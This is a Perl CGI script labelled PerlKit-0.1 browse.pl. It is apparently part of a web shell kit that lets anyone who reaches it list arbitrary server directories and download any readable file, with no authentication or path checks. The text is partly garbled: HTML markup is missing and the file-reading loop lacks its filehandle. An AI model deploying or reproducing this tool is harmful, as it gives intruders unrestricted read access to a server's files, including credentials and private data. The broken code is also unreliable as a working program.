#!/usr/bin/perl # # PerlKit-0.1 - http://www.t0s.org # # browse.pl: Browse and download files from a webserver use strict; my ($path, %FORM); $|=1; # Get parameters %FORM = parse_parameters($ENV{'QUERY_STRING'}); if(defined $FORM{'path'}) { $path = $FORM{'path'}; } else { $path = "/"; } if(-f $path) { # Download selected file print "Content-Type: application/octet-stream\r\n"; print "\r\n"; open(FILE, "< $path") || print "Could not open file\n"; while() { print; } close(FILE); exit; } print "Content-Type: text/html\r\n"; print "\r\n"; print ' Directory ' . $path . ' contents:

'; if(defined $FORM{'path'}) { opendir(DIR, $path) || print "Could not open directory"; foreach (sort(readdir(DIR))) { print get_fileinfo($path, $_). "\n"; } closedir(DIR); } print "
"; sub parse_parameters ($) { my %ret; my $input = shift; foreach my $pair (split('&', $input)) { my ($var, $value) = split('=', $pair, 2); if($var) { $value =~ s/\+/ /g ; $value =~ s/%(..)/pack('c',hex($1))/eg; $ret{$var} = $value; } } return %ret; } sub get_fileinfo ($$) { my $ret; my ($dir,$filename) = @_; my $file = $dir . "/" . $filename; $file=~s/\/+/\//g; $ret = ""; $ret .= ""; if(-d $file) { $file=~s/\/[^\/]+\/\.\./\//g; $ret .= "$filename"; } else { $ret .= "$filename [D]" ; } $ret .= ""; my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, $atime,$mtime,$ctime,$blksize,$blocks) = stat($file); $ret .= " "; $ret .= "$size"; $ret .= "". getpwuid($uid) .""; $ret .= "". getgrgid($gid) .""; $ret .= ""; return $ret; }